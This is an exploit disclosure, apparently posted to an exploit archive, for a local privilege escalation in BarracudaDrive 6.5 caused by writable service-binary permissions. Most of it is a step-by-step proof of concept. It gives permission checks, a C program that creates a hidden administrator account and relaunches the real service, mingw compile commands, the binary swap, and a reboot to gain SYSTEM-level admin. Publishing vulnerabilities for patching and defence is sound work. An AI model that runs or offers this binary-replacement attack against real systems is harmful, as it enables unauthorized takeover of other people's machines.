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BarracudaDrive 6.5 Local Privilege Escalation

BarracudaDrive 6.5 Local Privilege Escalation
Posted Aug 10, 2020
Authored by Bobby Cooke, hyd3sec

BarracudaDrive version 6.5 suffers from a privilege escalation vulnerability.

tags | exploit
MD5 | 46d297f212c73f78372745c92dba3e78

BarracudaDrive 6.5 Local Privilege Escalation

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# Exploit Title:   BarracudaDrive v6.5 - User->System - Local Privilege Escalation
# Exploit Author: Bobby Cooke (boku) & Adeeb Shah (@hyd3sec)
# Date: 08-08-2020
# Vendor Homepage: https://barracudaserver.com/
# Software Link: https://download.cnet.com/BarracudaDrive/3001-18506_4-10723210.html
# Version: v6.5
# Tested On: Windows 10 Pro
# CVSS Base Score: 8.8 | Impact Subscore: 6.0 | Exploitability Subscore: 2.0
# CVSS Vector: AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
# CWE-276: Incorrect Default Permissions
# CWE-732: Incorrect Permission Assignment for Critical Resource
# Vulnerability Description:
# Insecure Service File Permissions in bd service in Real Time Logics BarracudaDrive v6.5
# allows local attackers to escalate privileges to admin via replacing the bd.exe file and
# restarting the computer where the malicious code will be executed as 'LocalSystem' on
# the next startup automatically.

## Insecure Folder Permission
C:\>cacls C:\bd
C:\bd BUILTIN\Administrators:(OI)(CI)(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C

## Insecure File/Service Permission
C:\>cacls C:\bd\bd.exe
C:\bd\bd.exe BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C

C:\>sc qc bd
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: bd
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\bd\bd.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : BarracudaDrive ( bd ) service
DEPENDENCIES : Tcpip
SERVICE_START_NAME : LocalSystem

## Local Privilege Escalation Proof of Concept
#0. Download & install

#1. Create low privileged user & change to the user
## As admin
C:\>net user lowpriv Password123! /add
C:\>net user lowpriv | findstr /i "Membership Name" | findstr /v "Full"
User name lowpriv
Local Group Memberships *Users
Global Group memberships *None

#2. Move the Service EXE to a new name
C:\bd>whoami
desktop\lowpriv
C:\bd>move bd.exe bd.service.exe
1 file(s) moved.

#3. Create malicious binary on kali linux
## Add Admin User C Code
kali# cat addAdmin.c
int main(void){
system("net user boku mypassword /add");
system("net localgroup Administrators boku /add");
WinExec("C:\\bd\\bd.service.exe",0);
return 0;
}

## Compile Code
kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o bd.exe

#4. Transfer created 'bd.exe' to the Windows Host

#5. Move the created 'bd.exe' binary to the 'C:\bd\' Folder
C:\bd>move C:\Users\lowpriv\Downloads\bd.exe .

#6. Check that exploit admin user doesn't exit
C:\bd>net user boku
The user name could not be found

#6. Reboot the Computer
C:\bd>shutdown /r

#7. Login & look at that new Admin
C:\Users\lowpriv>net user boku | findstr /i "Membership Name" | findstr /v "Full"
User name boku
Local Group Memberships *Administrators *Users
Global Group memberships *None
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